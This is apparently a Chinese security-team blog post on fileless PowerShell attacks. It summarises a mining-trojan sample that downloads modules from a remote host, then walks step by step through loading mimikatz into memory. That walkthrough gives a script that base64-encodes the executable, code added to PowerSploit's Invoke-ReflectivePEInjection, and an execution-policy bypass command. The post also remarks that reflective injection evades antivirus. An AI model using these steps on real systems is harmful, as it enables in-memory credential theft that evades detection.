【应急响应】powershell无文件浅析

admin 2021年4月1日09:00:50评论561 views字数 2624阅读8分44秒阅读模式

【应急响应】powershell无文件浅析


一、概述


“无文件攻击”(Fileless)属于一种影响力非常大的安全威胁。攻击者在利用这种技术实施攻击时,不会在目标主机的磁盘上写入任何的恶意文件,因此而得名“无文件攻击”。现在挖矿病毒、勒索病毒多采用无文件攻击方式,从而可绕过常规杀毒软件的防护。powershell做为微软windows系统自带的软件包,具有十分强大的功能,越来越多的攻击者选用powershell做为攻击手段。PowerShell的主要作用是从远程位置下载恶意文件到受害者主机中,然后使用诸如Start-Porcess、Invoke-Item或者Invoke-Expression(-IEX)之类的命令执行恶意文件,PowerShell也可以将远程文件直接下载到受害者主机内存中,然后从内存中执行。多数情况下,powershell攻击活动中,攻击者会通过命令行进程调用powershell进程,也就是powershell的父进程通常是cmd.exe。


二、powershell样本分析


从网上找了个powershell挖矿木马脚本,脚本利用了powershell -w -c参数来隐藏操作痕迹,-c即在powershll终端中执行任意命令,New-Object Net.WebClient创建WebClient类的实例,FromBase64String将字符转化为二进制,WebClient对象就像其他图形界面的Web客户端一样,系统会访问t.zer9g.com的a.jsp继续下载攻击模块,在将下载的程序注入powershell.exe进行运行。


【应急响应】powershell无文件浅析


三、powershell内存加载程序


将需要执行的程序加载到内存中执行已经成为一种常规手段,将病毒主程序进行二进制编码转化为字符串,生成powershell脚本,加载到内存中执行。此处尝试将mimikatz利用powershell加载内存中执行。

1、将exe文件转换为字符串,可利用如下脚本
function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String;
}
./base64.ps1
Convert-BinaryToString C:UsersAdministratorDesktopmimikatz_v2.0x64mimikatz.exe


【应急响应】powershell无文件浅析

2、下载Invoke-ReflectivePEInjection.ps1脚本https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1修改Invoke-ReflectivePEInjection.ps1脚本,加入如下内容


$InputString = '...........'
# 将二进制字符串转为字节数组
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在内存中运行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR


【应急响应】powershell无文件浅析

3、powershell中执行powershell -exec bypass -File test.ps1,可成功打开mimikatz

【应急响应】powershell无文件浅析

最后在说下反射型dll注入,它不需要像传统的注入方式一样需要DLL落地存储,避免了注入DLL被安全软件删除的危险。由于它没有通过系统API对DLL进行装载,操作系统无从得知被注入进程装载了该DLL,所以检测软件也无法检测它。同时,由于操作流程和一般的注入方式不同,反射式DLL注入被安全软件拦截的概率也会比一般的注入方式低。关于反射型dll注入技术内容要复杂的多,以上只是利用Invoke-ReflectivePEInjection.ps1做了最简单演示。


四、小结


在未来基于无文件攻击的网络犯罪活动依然会持续增加,并将成为主流的网络攻击方式之一,网络攻击犯罪团队可以通过这种方式,在受害者主机上留下最少的犯罪痕迹,受害者主机上无落地的PE恶意软件,恶意软件作者通过采用这种无文件攻击的方式逃避或推迟一些安全厂商安全产品的检测,因为不管是传统的PE杀毒检测引擎,还是现在流行的AI人工智能PE检测引擎针对这类无文件的攻击样本的检测,基本上是没有什么效果的。


参考文章:https://bbs.pediy.com/thread-253375.htm


E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

【应急响应】powershell无文件浅析


本文始发于微信公众号(Tide安全团队):【应急响应】powershell无文件浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月1日09:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【应急响应】powershell无文件浅析http://cn-sec.com/archives/314126.html

发表评论

匿名网友 填写信息